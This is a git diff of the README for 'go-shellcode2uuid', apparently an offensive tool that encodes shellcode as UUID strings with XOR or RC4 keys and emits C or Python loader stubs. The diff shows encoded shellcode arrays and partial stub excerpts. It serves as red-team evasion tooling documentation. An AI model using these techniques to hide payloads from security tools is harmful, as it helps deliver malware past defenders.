diff options
Diffstat (limited to 'README.md')
-rw-r--r-- | README.md | 94 |
1 files changed, 13 insertions, 81 deletions
@@ -56,10 +56,12 @@ $ make darwin-arm64 Usage of ./go-shellcode2uuid-linux-amd64: -file string path to binary shellcode file + -rc4 + enable rc4 encryption with 16bit random key -stub string stub language to output (c, cwin, py) -xor - enable random single-byte XOR encoding + enable single-byte xor encoding with random key ``` ## Examples @@ -69,7 +71,7 @@ Usage of ./go-shellcode2uuid-linux-amd64: ``` $ ./go-shellcode2uuid -file shellcode_win.bin -stub cwin -xor [inf] shellcode size (276 bytes) is not a multiple of 16, will pad with nullbytes -[inf] using XOR key: 0x1c +[inf] using xor key: 0x1c e0549ff8-ecf4-dc1c-1c1c-5d4d5d4c4e4d 4a542dce-7954-974e-7c54-974e0454974e 3c54976e-4c54-13ab-5656-512dd5542ddc @@ -90,90 +92,20 @@ c9549fd8-3420-1a60-169c-e7fc6919a75b 7964791c-1c1c-1c1c-1c1c-1c1c1c1c1c1c [inf] stub written to stub.c -$ head -30 stub.c -// x86_64-w64-mingw32-gcc -o stub.exe stub.c -Wl,--nxcompat -Wl,--dynamicbase -#include <windows.h> -#include <stdio.h> -#include <stdint.h> -#include <stdlib.h> - -#define ORIGINAL_SHELLCODE_LENGTH 276 - -const char* uuid_strings[] = { - "e0549ff8-ecf4-dc1c-1c1c-5d4d5d4c4e4d", - "4a542dce-7954-974e-7c54-974e0454974e", - "3c54976e-4c54-13ab-5656-512dd5542ddc", - "b0207d60-1e30-3c5d-ddd5-115d1dddfef1", - "4e5d4d54-974e-3c97-5e20-541dcc979c94", - "1c1c1c54-99dc-687b-541d-cc4c97540458", - "975c3c55-1dcc-ff4a-54e3-d55d97289454", - "1dca512d-d554-2ddc-b05d-ddd5115d1ddd", - "24fc69ed-501f-5038-1459-25cd69c44458", - "975c3855-1dcc-7a5d-9710-5458975c0055", - "1dcc5d97-1894-541d-cc5d-445d44424546", - "5d445d45-5d46-549f-f03c-5d4ee3fc445d", - "45465497-0ef5-4be3-e3e3-4154a61d1c1c", - "1c1c1c1c-1c54-9191-1d1d-1c1c5da62d97", - "739be3c9-a7fc-0136-165d-a6ba89a181e3", - "c9549fd8-3420-1a60-169c-e7fc6919a75b", - "0f6e7376-1c45-5d95-c6e3-c97f7d707f32", - "7964791c-1c1c-1c1c-1c1c-1c1c1c1c1c1c", -}; -... +$ x86_64-w64-mingw32-gcc -o stub.exe stub.c -Wl,--nxcompat -Wl,--dynamicbase ``` -### Generate a Python stub with XOR encoding: +### Generate a Python stub with RC4 encoding: ``` -$ ./go-shellcode2uuid -file shellcode_linux.bin -stub py -xor -[inf] shellcode size (276 bytes) is not a multiple of 16, will pad with nullbytes -[inf] using XOR key: 0x09 -f5418aed-f9e1-c909-0909-485848595b58 -5f4138db-6c41-825b-6941-825b1141825b -2941827b-5941-06be-4343-4438c04138c9 -a5356875-0b25-2948-c8c0-044808c8ebe4 -5b485841-825b-2982-4b35-4108d9828981 -09090941-8cc9-7d6e-4108-d9598241114d -82492940-08d9-ea5f-41f6-c048823d8141 -08df4438-c041-38c9-a548-c8c0044808c8 -31e97cf8-450a-452d-014c-30d87cd1514d -82492d40-08d9-6f48-8205-414d82491540 -08d94882-0d81-4108-d948-514851575053 -48514850-4853-418a-e529-485bf6e95148 -50534182-1be0-5ef6-f6f6-5441b3080909 -09090909-0941-8484-0808-090948b33882 -668ef6dc-b2e9-1423-0348-b3af9cb494f6 -dc418acd-2135-0f75-0389-f2e97c0cb24e -1a7b6663-0950-4880-d3f6-dc6a68656a27 -6c716c09-0909-0909-0909-090909090909 +$ ./go-shellcode2uuid-linux-amd64 -file shellcode_linux.bin -rc4 -stub py +[inf] shellcode size (54 bytes) is not a multiple of 16, will pad with nullbytes +[inf] using rc4 key: r24OlLLBQr6Ay8rL +ef4cd858-172a-5494-d0f2-1aec40ea5813 +00ccb780-888c-ea60-0353-85d24303e0a9 +3627567b-6603-5074-4beb-a8c1b23c7211 +c73d284b-b64d-d337-4ec5-3be297937f8f [inf] stub written to stub.py - -$ cat stub.py -import uuid -import mmap -import ctypes - -uuids = [ - 'f5418aed-f9e1-c909-0909-485848595b58', - '5f4138db-6c41-825b-6941-825b1141825b', - '2941827b-5941-06be-4343-4438c04138c9', - 'a5356875-0b25-2948-c8c0-044808c8ebe4', - '5b485841-825b-2982-4b35-4108d9828981', - '09090941-8cc9-7d6e-4108-d9598241114d', - '82492940-08d9-ea5f-41f6-c048823d8141', - '08df4438-c041-38c9-a548-c8c0044808c8', - '31e97cf8-450a-452d-014c-30d87cd1514d', - '82492d40-08d9-6f48-8205-414d82491540', - '08d94882-0d81-4108-d948-514851575053', - '48514850-4853-418a-e529-485bf6e95148', - '50534182-1be0-5ef6-f6f6-5441b3080909', - '09090909-0941-8484-0808-090948b33882', - '668ef6dc-b2e9-1423-0348-b3af9cb494f6', - 'dc418acd-2135-0f75-0389-f2e97c0cb24e', - '1a7b6663-0950-4880-d3f6-dc6a68656a27', - '6c716c09-0909-0909-0909-090909090909', -] -... ``` - The tool prints the generated UUID strings to stdout and writes the stub source file (`stub.c` or `stub.py`). |